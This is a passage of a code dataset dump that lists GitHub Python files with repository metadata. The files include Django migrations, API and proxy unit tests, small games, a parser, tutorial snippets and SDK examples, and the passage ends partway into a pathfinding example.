blob_id stringlengths 40 40 | directory_id stringlengths 40 40 | path stringlengths 2 283 | content_id stringlengths 40 40 | detected_licenses listlengths 0 91 | license_type stringclasses 2
values | repo_name stringlengths 3 135 | snapshot_id stringlengths 40 40 | revision_id stringlengths 40 40 | branch_name stringlengths 4 68 | visit_date timestamp[ns]date 2015-07-25 20:53:29 2023-09-06 10:46:05 | revision_date timestamp[ns]date 1970-01-01 00:00:00 2037-05-03 13:00:00 | committer_date timestamp[ns]date 1970-01-01 00:00:00 2036-02-09 17:40:36 | github_id int64 1.61k 691M ⌀ | star_events_count int64 0 209k | fork_events_count int64 0 110k | gha_license_id stringclasses 24
values | gha_event_created_at timestamp[ns]date 2012-06-03 10:21:33 2023-09-14 21:59:50 ⌀ | gha_created_at timestamp[ns]date 2008-03-27 23:40:48 2023-09-13 22:40:33 ⌀ | gha_language stringclasses 250
values | src_encoding stringclasses 27
values | language stringclasses 1
value | is_vendor bool 2
classes | is_generated bool 2
classes | length_bytes int64 6 10M | extension stringclasses 289
values | filename stringlengths 1 218 | content stringlengths 6 10M |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
e031dfee5502ab7a3e657754a77e209ec9c5c11f | 1b062480f78afbdf488591654401884f3ac43f8e | /core/migrations/0005_auto_20210501_1557.py | ee7c59a5b40a3edbe1c2b7c65e023ace71e2cd60 | [] | no_license | edgardegantea/rpmlv1 | 1819f32ac11eb9fe07422522bfa2fc619c7456de | 756b218e5bcd3365dcb4ef80be62020a28b68082 | refs/heads/main | 2023-04-27T18:50:57.583725 | 2021-05-04T07:12:28 | 2021-05-04T07:12:28 | 359,995,334 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,508 | py | 0005_auto_20210501_1557.py | # Generated by Django 3.2 on 2021-05-01 20:57
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('core', '0004_auto_20210501_1333'),
]
operations = [
migrations.AddField(
model_name='area',
name='altitud',
... |
19f5152297d8d965d986e42da4dd48c368b7f9d1 | 938a0fa4c8cf77a3189f90d9b6cd06da74dfe8ae | /test/unit/proxy_test.py | 08dbb041e480546ff491a93a34c72b358e908752 | [
"MIT"
] | permissive | amplify-education/amplium | 36d83f1b3704f47b6a18ab36bc1aae2bafed9331 | 4fc62488c556d9ed123032d28e78c851f113d3c8 | refs/heads/master | 2023-07-20T03:48:07.753705 | 2022-05-04T19:46:37 | 2022-05-04T19:46:37 | 106,247,680 | 9 | 1 | MIT | 2021-05-19T15:50:07 | 2017-10-09T07:01:52 | Python | UTF-8 | Python | false | false | 7,984 | py | proxy_test.py | """Unit testing for the proxy.py"""
import json
import unittest
import requests
from mock import patch, MagicMock
from amplium.api import proxy
from amplium.api.exceptions import NoAvailableGridsException, NoAvailableCapacityException
from amplium.app import app
test_sauce_url = 'https://username:accesskey@ondemand.... |
7958d92f496cb08f4f7510a3e347e6f9e90a9745 | 4bd9e963397f6f30e3ca4f12f341d4f1b8467bcb | /EEGOOPexample.py | f64e2034ed8fb2bd331a95bfd6d314c54c22d216 | [] | no_license | ReyesDeJong/WeSST | 488d33f9ae7c258479fca8d68aa24a4e6b21796e | a42bf1d9c801839c74258926d488fee2b38a89d8 | refs/heads/master | 2021-08-06T13:41:11.712461 | 2017-11-06T02:55:47 | 2017-11-06T02:55:47 | 100,954,901 | 1 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,717 | py | EEGOOPexample.py | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Mon Oct 2 15:33:29 2017
Explanation of EEGOOP
@author: asceta
"""
"""
Libraries, and classes importations
"""
from EEGOOP import DB
import glob
from sklearn.neural_network import MLPClassifier
"""
Files Path & attributes of DB class
"""
DatasetPa... |
92ba39e95ee8797196a6b29ffda246265a8fcd57 | d4349365baf71e34ea98edf408e0c621271dd530 | /settings_window.py | 78d9f2445d5026cdab2ef591b123612b3cfd6009 | [] | no_license | FilipFl/Twitch_Bot | 8cdaf3aa09090fe322b68779859a5070be436501 | ea2e735d0ea71428689a30d27e43062b48a348d8 | refs/heads/master | 2022-12-16T10:45:36.003378 | 2020-09-17T09:51:40 | 2020-09-17T09:51:40 | 289,929,513 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,678 | py | settings_window.py | from PySide2.QtWidgets import QMainWindow, QPushButton, QApplication, QLineEdit
import os
class SettingsWindow(QMainWindow):
def __init__(self):
super().__init__()
self.set_button("Save", self.save_data, 40, 150)
self.textbox1 = QLineEdit(self)
self.textbox1.move(40, 30)
sel... |
4efd9105e2d75b6f537e45df7a5c0774bf7fccb7 | 518c16388554f231ae555c16f26f1166ac8dfb16 | /RoboRally.py | 6c5aa9587c33d2592f15f512b93e9a8d80332515 | [] | no_license | muhammad-usman147/RoboRally | 34973632ec07f2d45ac053416feba45f04f2cc20 | 4146b22578cd87ef1836de50be58fbbac523a90e | refs/heads/master | 2021-06-11T14:14:41.365057 | 2016-11-23T17:27:26 | 2016-11-23T17:27:26 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 73,529 | py | RoboRally.py | # Modules!
import sys
import random
import yaml
import pygame
import numpy as np
import math
import ConfigParser
import os
# Classes used in the game
###########################
# Game Object that runs the display, handling updates to the screen
###########################
class Display():
def __init__(self, boa... |
7f7a6ecbe8e9f5671d0f4f9795709d4c9c577983 | c47e8b60aaacc0aa40f825fcf99c20e3d79c22e6 | /Tareas/Tarea1.py | 3a77a66188a67ddb96d78d86970d456d8ba61b7a | [] | no_license | GuilleJimenez9653/ProgramIII | c489c2c073dc875a002d365b398cd6ab1e36d98b | 9e2b1d259c972c0453691ae8bbca8e90d2bf3b38 | refs/heads/master | 2023-01-28T08:44:35.737393 | 2020-12-08T13:35:07 | 2020-12-08T13:35:07 | 305,790,067 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 539 | py | Tarea1.py | import random
def esPar(tupla):
par = True
for i in tupla:
if par == True and i%2 != 0:
par = False
return par
def organizarTuplas(lista):
listafinal = []
for i in lista:
if esPar(i):
listafinal.append(i)
return listafinal
lista = []
tupla = ()
for i in... |
bffdaf8e4528149dded42ecb108cd7f20cbae257 | 8dcf04af459193e460131a0df457551e9d7056b5 | /textmation/parser.py | 523db9fb073096c54ce771534fe205ab4709734a | [
"Zlib"
] | permissive | sameersemna/textmation | 95c7391825f66090246d769764c9919e6af96a7a | 765d3b7d1938074969f24d3c53dab1e34c665f6b | refs/heads/master | 2022-02-06T05:51:31.955788 | 2019-06-07T22:26:46 | 2019-06-07T22:26:46 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 12,608 | py | parser.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
from contextlib import contextmanager
import math
import re
from .lexer import Lexer, TokenType
_keywords = "create", "as", "template", "inherit", "include"
_literals = "true", "false", "infinite"
_units = "%", "px", "s", "ms", "deg", "rad", "turn"
class Node:
def... |
11a22489cd942b1c104299156bea927aef0bc379 | 50084bf941b61791ac4def5b8cff950e7ddfdd15 | /Scientific Python/Numpy/03.array-types.py | 139f58fd4bb5a9cfae978cdffd33aeb699d655bd | [] | no_license | gjq91459/mycourse | 6904ad191dc6128fb853eb8bdb1b200a46b2059f | 211d7707e41f50495375b4a1dfc32b62b76b317b | refs/heads/master | 2021-01-21T10:34:44.841349 | 2017-03-01T11:17:52 | 2017-03-01T11:17:52 | 83,456,979 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 505 | py | 03.array-types.py | ############################################################
#
# array types
#
############################################################
import numpy as np
np.set_printoptions(precision=3)
# create array of int
a = np.array( [2,3,5,7,11,13,17] )
print a
# create array of float
a = np.array( [np.s... |
8e5316cb718802398026019c5a3763066c784e67 | 011a6de5391e72c27f5ba93713d5675a20ca430c | /capture_the_flag/1_5.py | 76642d70de02ea3fe5911b0237fd1d70e6c2acb3 | [] | no_license | sawlemon/tryhackme | 914d4ca6374745dedf7955de127988fe8a47630f | 0d0150d11333f2b67f65d4a04896014ff3a30481 | refs/heads/master | 2022-12-20T01:46:40.454727 | 2020-09-27T21:41:42 | 2020-09-27T21:41:42 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 161 | py | 1_5.py | hex_data = '68 65 78 61 64 65 63 69 6d 61 6c 20 6f 72 20 62 61 73 65 31 36 3f'.split(' ')
op = ""
for hex in hex_data:
op = op + chr(int(hex,16))
print(op) |
fb998d1d8095b2871ebabe2020b6829b40b9ac97 | 8bc489771f91d0a5334af9f80c274ebbe159b40d | /comparisonOperators.py | 23b1d71f9fade826d49a1d81ea1776fee2112336 | [] | no_license | tucksa/PythonPractice | cee0d43979b56e515c644ae2a8da4345ff67611d | 3b3d1494b7b2e958a680636bc7b6d98cec711219 | refs/heads/master | 2020-08-11T09:45:49.524312 | 2019-12-12T11:52:27 | 2019-12-12T11:52:27 | 214,543,110 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 458 | py | comparisonOperators.py | #checking equality
print(2 == 2)
print('hello' == 'Hello')
print(2.0 == 2)
#or inequality
print( 4 != 5)
# grater than/ less than (or equal to)
print(2 > 5)
print(2 < 5)
print(1 >= 0.5)
print(1 <= 0.5)
print( 1 > 0.5 < 0)
#chaining logical operators using and, or, not
print(f'Here is the and statementd:\n{1 > 0.5 an... |
482e8b788684048f6f8ebd2b9022f21ae1cb52a1 | 8619d5472fd157044caf2782d2591f1fb9037285 | /tests/test_osparc.py | 99138b75301c6940dcdbb00b20b994e5afcd50c6 | [
"Apache-2.0"
] | permissive | Tehsurfer/sparc-api | 39d7b52a8c2095500940a7b5abc1ebeda0ec7c71 | e7c148236dc65c24aa364c6d15e37d75c433cbb6 | refs/heads/master | 2023-08-17T06:32:57.541518 | 2022-03-28T15:39:39 | 2022-03-28T15:39:39 | 281,569,839 | 0 | 0 | Apache-2.0 | 2020-07-22T03:59:18 | 2020-07-22T03:59:17 | null | UTF-8 | Python | false | false | 2,345 | py | test_osparc.py | import json
import pytest
from app import app
@pytest.fixture
def client():
app.config['TESTING'] = True
return app.test_client()
def test_osparc_no_post(client):
r = client.get('/simulation')
assert r.status_code == 405
def test_osparc_empty_post(client):
r = client.post("/simulation", json={... |
ec00441446ecd74d5c97ce817b6d8f9de5f73aa5 | e00ab680f5f5b959f2e79393b048a963aa8237ab | /main.py | 1a600d242f86054379ebc231b26f8a9d5e880aed | [] | no_license | YongGyunKwon/Extract_PDF_Text | cb1781eafdb1e49f794be01bc2a7531ca2b4a7ab | cb71e4c88c7f9fb453dc29121a15caf7e1a7ea8c | refs/heads/main | 2023-03-21T16:49:56.558914 | 2021-03-19T07:27:36 | 2021-03-19T07:27:36 | 339,917,860 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 672 | py | main.py | import io,sys
import os
from PyPDF2 import PdfFileWriter, PdfFileReader
from tika import parser
#Get your PC's PATH
repositorypath=os.getcwd()
print(repositorypath)
sys.path.append(repositorypath)
from folder_finding import find_docx_in_folder
from docx_extract import docx_to_xlsx_multi
from docx_to_exist import d... |
8da838ad2dda2e299d6cdf5398664cc10a20a2a3 | 10990576fa3a72f357feccf809be8f48d8158fd9 | /cut.py | ebccbac68ca7f31a79c42de22d71e1a332dfa2fa | [] | no_license | ahexinyu/runpipe | b3af58d216f610f6196c9b37cb51da845d3549f5 | e17e439aa64557d78c7b421428844a478ed2612e | refs/heads/master | 2020-05-07T17:44:31.324796 | 2020-04-22T04:51:15 | 2020-04-22T04:51:15 | 180,738,209 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 403 | py | cut.py | #!/usr/bin/python
import sys
base=0
read_num=0
out=open('/rhome/xyhe/bigdata/dataxy/target/2mele.fasta','w')
with open(sys.argv[1])as lines:
for line in lines:
line=line.strip('\n')
if read_num<8:
if line[0]=='>':
read_num=read_num+1
ou... |
7aad80363f4c4113f6cbeecf89143f478ec00ae9 | a76006bde1068044ab54a378b82c3715ae28cd55 | /algo/bfs/word-break.py | 4439735418f296e02b89f189681bdfcfdf3ed7bc | [] | no_license | GreenMarch/datasciencecoursera | cacf017d4ab13271e037b4313d901d288f389b2e | 86d97d4dccf628e95c4bb9cdce9dab0a1e9fdffd | refs/heads/master | 2021-11-28T22:39:05.603156 | 2021-11-08T08:27:01 | 2021-11-08T08:27:01 | 43,799,764 | 0 | 0 | null | 2020-04-12T20:28:13 | 2015-10-07T06:58:07 | Python | UTF-8 | Python | false | false | 1,455 | py | word-break.py | from collections import deque
class Solution:
def wordBreak(self, s: str, wordDict: List[str]) -> bool:
q = deque([s])
seen = set()
while q:
s = q.popleft() # popleft() = BFS ; pop() = DFS
for word in wordDict:
if s.startswith(word):
... |
436f1dda06c5894f460522e66c4592a8dfdda095 | 19ad9674029caeddc1ddf01d80f0baea21f40d2b | /tests/error_test.py | 5d87639900baaa39b9b225a354601d4dc47f5e27 | [] | no_license | DAI-Lab/AnonML | 574ee19050ab429ebd62f3a9db42abc9d172bd31 | bb0be11794e48cb5cb9bf5c581af20df2b53d186 | refs/heads/master | 2021-06-20T06:46:08.823264 | 2017-06-12T14:10:09 | 2017-06-12T14:10:09 | 71,909,839 | 5 | 0 | null | null | null | null | UTF-8 | Python | false | false | 14,521 | py | error_test.py | #!/usr/bin/env python2.7
import argparse
import pdb
import random
import itertools
import multiprocessing as mp
import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
from anonml.subset_forest import SubsetForest
from anonml.aggregator import get_privacy_params, get_rappor_params, get_rr_params
from p... |
bc3a73efd37a50e1eb275443610c9b19676f059b | d79c152d072edd6631e22f886c8beaafe45aab04 | /nicolock/galleries/migrations/0009_gallery_project.py | 96f0042eb8118e6001240bb59cd4d820661ad37a | [] | no_license | kabroncelli/Nicolock | 764364de8aa146721b2678c14be808a452d7a363 | 4c4343a9117b7eba8cf1daf7241de549b9a1be3b | refs/heads/master | 2020-03-11T11:02:43.074373 | 2018-04-18T17:38:33 | 2018-04-18T17:38:33 | 129,959,455 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 564 | py | 0009_gallery_project.py | # -*- coding: utf-8 -*-
# Generated by Django 1.10.7 on 2017-04-27 17:26
from __future__ import unicode_literals
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('galleries', '0008_auto_20170426_1703'),
]
operatio... |
867aa0e6fe5a357114eb85edeb41b99aa1135180 | 7933cebdd4ceff9d61a5321d651813b80a3c117b | /py/dflong.py | 4c4e4a160439ef8c158554410150db48cb66678c | [] | no_license | jacolind/crinfu | 801771b74dbe759e14dcd16a896840733d807928 | 0cf0dc9b5217acae3adad50125eb526b7efcaf0a | refs/heads/master | 2020-03-11T21:28:37.522773 | 2018-12-25T09:35:55 | 2018-12-25T09:35:55 | 130,266,523 | 1 | 1 | null | null | null | null | UTF-8 | Python | false | false | 4,739 | py | dflong.py | '''
make the same analysis as do1long.R byt in pandas.
then try to make ggindex() but in long format.
pandas tools:
* wide to long format (stack) and long to wide (unstack).
- unstack moves a level of a MultiIndex (innermost by default) up to the columns.
- stack is the inverse.
* pivot, melt. i think thes... |
80231d7c5ac5edd50a42f29e1eabf29755369c4f | 8f0dff60de4d10508b3f9e0d9bff55bc6b623361 | /PyCornGUI/setup.py | 687bd2247c948143dacc38da299d8ab025413309 | [] | no_license | kotarokelley/PyCornGUI | f3b6da4917c442800c00c623dac99d2f06257659 | 98143df4810ebc911554088b96c8629e573dbc41 | refs/heads/master | 2020-05-30T07:18:48.163253 | 2017-01-05T18:44:43 | 2017-01-05T18:44:43 | 69,497,791 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,062 | py | setup.py | #!/usr/bin/python
try:
from setuptools import setup
except ImportError:
print("setuptools not found, falling back to distutils")
from distutils.core import setup
setup(
name='PyCornGUI',
version='0.1dev',
author='Kotaro Kelley',
packages=['pycorngui'],
extras_require = {'plotting'... |
61d2c2fc9c2154f1ea23b13bc197d2fbf8164f60 | e9cb4cdb14571c7a9ec6df1fc32245118d6d72d1 | /multiplicative_persistence_num.py | 4a1fc58e941233bf4f185f9355ef684b0673d67b | [] | no_license | AminMohamedAmin/Interviews-Tasks | c5b45674a5b2458a6688615c00a26d3d1c816d13 | d6f94f01ccedb3e89bc4d347d5c4daff6d30c8b9 | refs/heads/master | 2022-09-20T07:18:01.251176 | 2020-05-26T12:11:55 | 2020-05-26T12:11:55 | 267,033,125 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 621 | py | multiplicative_persistence_num.py | class Persistence():
def my_list(self, num):
mylist = []
while num:
num, listnum = divmod(num, 10)
mylist.append(listnum)
return mylist
def mul_all(self,mylist):
multiplier = 1
while mylist:
multiplier *= mylist.pop()
return m... |
34354482d9f4efe4361d81533d7726bc63951f3f | 8f50c262f89d3dc4f15f2f67eb76e686b8f808f5 | /Trigger/TrigMonitoring/TrigBjetMonitoring/python/TrigBjetMonitCategory.py | 903a3eeb5b9d151a228765b07df9d8c1c220ea40 | [
"Apache-2.0"
] | permissive | strigazi/athena | 2d099e6aab4a94ab8b636ae681736da4e13ac5c9 | 354f92551294f7be678aebcd7b9d67d2c4448176 | refs/heads/master | 2022-12-09T02:05:30.632208 | 2020-09-03T14:03:18 | 2020-09-03T14:03:18 | 292,587,480 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 2,557 | py | TrigBjetMonitCategory.py | # Copyright (C) 2002-2020 CERN for the benefit of the ATLAS collaboration
from __future__ import print_function
# Used for combination MC, collisions or cosmics
#General trigger chains - default values
monitoring_bjet = ["E_HLT_j35_boffperf_split","E_HLT_j55_boffperf_split","S_HLT_j85_gsc110_boffperf_split... |
8097066c66f3a707930092b7dd4d7c90f257b459 | b62a5554cba26c79b4b7d710f4c33228aba90ae6 | /examples/cdn/Domain.py | 4802a7939456cbbaba79a815adf22cc080759a29 | [
"LicenseRef-scancode-unknown-license-reference",
"Apache-2.0"
] | permissive | wangrui1121/huaweicloud-sdk-python | f74e30e6acb73de6ac4e4cac5e562f541d19e607 | 240abe00288760115d1791012d4e3c4592d77ad1 | refs/heads/master | 2022-12-18T23:03:04.298978 | 2020-09-27T06:57:57 | 2020-09-27T06:57:57 | 298,970,317 | 0 | 0 | NOASSERTION | 2020-09-27T06:42:26 | 2020-09-27T06:42:25 | null | UTF-8 | Python | false | false | 17,522 | py | Domain.py | # -*- coding:utf-8 -*-
# Copyright 2018 Huawei Technologies Co.,Ltd.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may not use
# this file except in compliance with the License. You may obtain a copy of the
# License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by... |
9dd8fe3839b23d7c980bcc690048d5566e56b75f | cd971dd65f2684682a1f6e9d198b1b650e08181a | /Client/OpCodes.py | a173f2b2f7e3b7c50e07e68ed8d59ef62e2a41ad | [] | no_license | noamg97/ResearchProject | 1b24eaf213b5fd5bc312861c6863f503daf68aa8 | c57d349c426665fad12a188a27e0c572d2fac31d | refs/heads/master | 2021-03-12T22:31:42.018206 | 2015-01-26T22:43:49 | 2015-01-26T22:43:49 | 21,600,931 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 899 | py | OpCodes.py | num_char = 2 #how many characters in an opcode
#____Blocking (New Connections):____#
#incoming
login = '00'
user_creation = '01'
sleeping_socket_connection = '02'
friends_list = '03'
#outgoing
login_accepted = '99'
login_declined = '98'
user_created = '97'
user_creation_declined = '96'
sleeping_socket_accepted = '95... |
df2e458a47832eee62fd41b05fd8f82c7908264b | a34ec07c3464369a88e68c9006fa1115f5b61e5f | /G_BinarySearch/Bisect/L2_2250_Count_Number_of_Rectangles_Containing_Each_Point.py | 537e607ebdb36252c601fb3947655c1a5d9a95ef | [] | no_license | 824zzy/Leetcode | 9220f2fb13e03d601d2b471b5cfa0c2364dbdf41 | 93b7f4448a366a709214c271a570c3399f5fc4d3 | refs/heads/master | 2023-06-27T02:53:51.812177 | 2023-06-16T16:25:39 | 2023-06-16T16:25:39 | 69,733,624 | 14 | 3 | null | 2022-05-25T06:48:38 | 2016-10-01T10:56:07 | Python | UTF-8 | Python | false | false | 693 | py | L2_2250_Count_Number_of_Rectangles_Containing_Each_Point.py | """ https://leetcode.com/problems/count-number-of-rectangles-containing-each-point/
notice that width(10^9) is way greater than height(100), so
1. store all the points in hash table
2. binary search on the width to find the number of rectangles that conver the point
"""
class Solution:
def countRectangles(self, A:... |
96dcb1f37bb8c29256d4ba66545a7205c41d9404 | 6a285b6b259f965cc638c42e03d245c199761048 | /ase-new/notification/migrations/0005_auto_20200402_1056.py | 3453312bf33c4799c1ea43a529f0be5635f92ae7 | [] | no_license | iam-tarun/project | b6e3499c7bb3d91522dc80282381f1726dc7bd50 | b4a55b6ed93c46a53ddf1bb98de0024f6a55e7f7 | refs/heads/master | 2022-10-19T11:36:50.665214 | 2020-06-08T05:17:28 | 2020-06-08T05:17:28 | 270,527,177 | 0 | 1 | null | 2020-06-08T04:52:24 | 2020-06-08T04:24:01 | HTML | UTF-8 | Python | false | false | 2,058 | py | 0005_auto_20200402_1056.py | # Generated by Django 3.0.4 on 2020-04-02 10:56
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('notification', '0004_notification'),
]
operations = [
migrations.CreateModel(
name='Acceptance'... |
d33f3bd99b36a9ef6df269ebd99081ff815aacb8 | eefaedea1252c24e23320c71cafb29e998f5bb4d | /Explore_Module_1/self_practice_13.py | 100b071a73afac8cca9a6a7a9ee03f65a95800b1 | [] | no_license | arianrasyidd/Hello_Python | b832ff45525817cb0e35383a1a3b06e6cd0f5438 | b817fa872a520a0f62debafdad07177a40c8f910 | refs/heads/master | 2020-09-08T02:22:25.404582 | 2019-11-11T13:22:23 | 2019-11-11T13:22:23 | 220,984,496 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,451 | py | self_practice_13.py | # data = open('data_penjualan_motor_honda_2014_2018.csv', 'r')
# print(data.readable())
# files = data.readlines()
# pre_header = (files[0].split(','))
# pre_header[-1] = pre_header[-1][ :-1]
# print(pre_header)
# header = pre_header.index(::)
# print(header)
# print(header[1])
# for title in files[0]:
# dict(row)... |
3111cd059dea660b2dd616bd3ff3229acceb7cd9 | 58eeddf2589cd39d0e63c069a1609ad1fa156b31 | /glom_pop/dataio.py | 746f739d513d788410dd80203e6026313816203f | [
"MIT"
] | permissive | mhturner/glom_pop | d64573a741c0f92ddf2c431a5fab2b7461b0193e | b670fddf1df6b8b1748b7fd7f3900af8b1cf32ed | refs/heads/main | 2023-05-01T15:57:57.605636 | 2023-04-20T17:32:51 | 2023-04-20T17:32:51 | 393,121,774 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 17,583 | py | dataio.py | """
maxwellholteturner@gmail.com
https://github.com/mhturner/glom_pop
"""
import functools
import inspect
import os
import shutil
import glob
import matplotlib.pyplot as plt
import h5py
import numpy as np
import pandas as pd
import yaml
import xml.etree.ElementTree as ET
import pims
from sewar.full_ref import rmse as... |
539cb44b4bbb17dc3bb30d04b42e4c431cac8b5e | c8df40fbc336f9c741ffc68a4b4e7ca431bae46c | /deploy/scripts/preprocessing.py | 0f28a785c71974a5f0f6751f3b058b8b54c35fe7 | [
"Apache-2.0"
] | permissive | cghat/signalML | ca416201ad9e5f0d425e4e398fb3b4d8c6bbf2b9 | aa059b22f11d71b7e5f5c113672217e716add77b | refs/heads/main | 2023-03-10T03:41:01.396492 | 2021-03-03T13:37:01 | 2021-03-03T13:37:01 | 344,135,049 | 1 | 0 | Apache-2.0 | 2021-03-03T13:25:00 | 2021-03-03T13:25:00 | null | UTF-8 | Python | false | false | 653 | py | preprocessing.py | import librosa
import numpy as np
def extractFeatures(file_name):
try:
audio, sample_rate = librosa.load(file_name, res_type='kaiser_fast')
mfccs = librosa.feature.mfcc(y=audio, sr=sample_rate, n_mfcc=40)
pad_width = 2
mfccs = np.pad(mfccs, pad_width=((0, 0), (0, pad_width)), ... |
18c7e55d725c10b835405e8fcd4a4dfa67c59496 | b8ecd5f36985f7e1c717cba1dccf70192b8a299d | /cv_image_resize.py | 4fa395f2db2e3c1b179fb19f652e1d5d718e41c6 | [] | no_license | petya0927/cv_project | a2b257a6826a41f10d76e215173d444a5d89e24c | f374b023335731d4a555c32078645d308e74c6fa | refs/heads/master | 2022-11-06T06:37:13.731982 | 2020-06-28T11:34:16 | 2020-06-28T11:34:16 | 273,446,891 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 293 | py | cv_image_resize.py | import cv2
import numpy as np
img = cv2.imread("lena.png")
print (img.shape)
imResize = cv2.resize(img, (300, 300))
print (imResize.shape)
imgCropped = img[0:200, 200:500]
cv2.imshow("Image", img)
cv2.imshow("Image Resize", imResize)
cv2.imshow("Image Cropped", imgCropped)
cv2.waitKey(0)
|
1774dd1ec99d1d03365384215729241afcba2a64 | 8c680fc22c005aadc84deff33850d819e943124a | /bobstack/tests/test_sipmessaging_sipStartLineFactory.py | 9beef066f53cd4076d7aa8a869b995f57ef36fad | [
"LicenseRef-scancode-warranty-disclaimer",
"LicenseRef-scancode-unknown-license-reference",
"Apache-2.0"
] | permissive | bobjects/BobStack | abc824b8513d826cbc725e8fbd3837ae8e03d646 | c177b286075044832f44baf9ace201780c8b4320 | refs/heads/master | 2020-04-06T05:12:35.041273 | 2017-10-08T23:39:35 | 2017-10-08T23:39:35 | 50,403,711 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,339 | py | test_sipmessaging_sipStartLineFactory.py | from unittest import TestCase
from ..sipmessaging import SIPStartLineFactory
try:
from cStringIO import StringIO
except ImportError:
from StringIO import StringIO
class TestSIPStartLineFactoryForResponse(TestCase):
@property
def canonicalStrings(self):
return [
'SIP/2.0 100 Trying'... |
b3b9d2d7e077dcb7e720728204c3278f7ef42b78 | 6c0e6bcca1556828f91ddd0d3d71cbe9d0aa1cb2 | /2.thread/3.协程/5.create_generator.py | be4eec8129cde976a4d442460503f947e915d6d8 | [] | no_license | Laishuxin/python | ab16438399c4492711b0fa29f9deae87150d5a6e | d9e5a2d6adb7726e68f3f24516bf8c57737b2d47 | refs/heads/master | 2022-02-19T17:03:21.690969 | 2019-08-27T06:15:55 | 2019-08-27T06:15:55 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 532 | py | 5.create_generator.py | # 生成器是特殊的迭代器
def fibonacci(length):
"""创建一个financci的生成器"""
a, b = 0, 1
current_num = 0
while current_num < length:
# 函数中由yield 则这个不是简单的函数,而是一个生成器模板
yield a
a, b = b, a+b
# print(a, end=",")
current_num += 1
# 如果调用finbonacci(length)表示创建一个生成器
obj ... |
4b496458fbfd5506bac7f60e7f704d4595b4623f | 5583cdc936d82b5bef600a91168e0cda20a6efc1 | /klient.py | be63058814433b23ca8a47136158ed7a3257570a | [] | no_license | Bartosz007/projekt-sw | 62ce97ef8874b1a626ea46508ee1342ac1951a1b | a26fdd58de7d522af1ba09d8364dbc26b3d09954 | refs/heads/master | 2022-11-06T07:42:16.507971 | 2020-06-08T20:35:16 | 2020-06-08T20:35:16 | 266,781,192 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 210 | py | klient.py | import evb_gui as gui
from libs import socket_io as sockets
def main():
server_connection = sockets.open_connection()
gui.load_gui(server_connection, gui.root)
if __name__ == "__main__":
main()
|
fd6b972c2c1035639dc80e9c9faf0062e466b4a0 | 1a0493ee32b2584c39093bb751c844ca05885022 | /payment/migrations/0001_initial.py | 498bb7a215064ca0db52606873e257719c3730c1 | [
"BSD-3-Clause"
] | permissive | satsuma-ken/PurchaseManagement | a82c8cdecb4840138bb0069cc10be1f4986d278e | c6eda5c673520fc98b23da137cd26c1cc384809c | refs/heads/master | 2022-08-22T06:33:28.835464 | 2020-05-22T01:56:45 | 2020-05-22T01:56:45 | 265,992,072 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,175 | py | 0001_initial.py | # Generated by Django 3.0.4 on 2020-05-14 02:05
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='Company',
fields=[
... |
6f2c78cf6bf5aa09ca5cd658289c00a9ac6ec2f6 | 1628830141a7b6ea1ddf2ed7be304a4d1db9e526 | /home/Docs/docs.py | cd696567dee784b2381878e6e37f8591bf602953 | [] | no_license | NepalRock961/sagar123 | 1f6ffbc13d6d5d6fc12ee330711f7b37c05b18fb | 88f7ab3e8722124c993f07d361b9938d57253b9b | refs/heads/master | 2021-01-22T19:14:37.228868 | 2017-04-01T02:58:59 | 2017-04-01T02:58:59 | 85,180,811 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 359 | py | docs.py | def cheeseshop(kind, *arguments, **keywords):
print('-- Do you have any', kind, '?')
print('--hello how are you man',kind)
for arg in arguments:
print(arg)
print('-' * 40)
for kw in keywords:
print(kw,':',keywords[kw])
cheeseshop('Limburger','Its is very runny','its is very bad',
shop = 'Sagar aryal',
cli... |
39b4d07e861bcded211b477e5ab3ad9f412f2c87 | 0869d7edac80e8aebe951682a2cc311a083eade3 | /Python/example_controllers/replicant/pathfind.py | b5b9f9337630db2f31934c6d957e15aee96d9639 | [
"BSD-2-Clause"
] | permissive | threedworld-mit/tdw | 7d5b4453832647733ff91ad7a7ce7ec2320454c1 | 9df96fba455b327bb360d8dd5886d8754046c690 | refs/heads/master | 2023-09-01T11:45:28.132298 | 2023-08-31T16:13:30 | 2023-08-31T16:13:30 | 245,492,977 | 427 | 75 | BSD-2-Clause | 2023-09-14T17:36:12 | 2020-03-06T18:42:09 | Python | UTF-8 | Python | false | false | 6,829 | py | pathfind.py | from typing import Dict
import numpy as np
from tdw.tdw_utils import TDWUtils
from tdw.controller import Controller
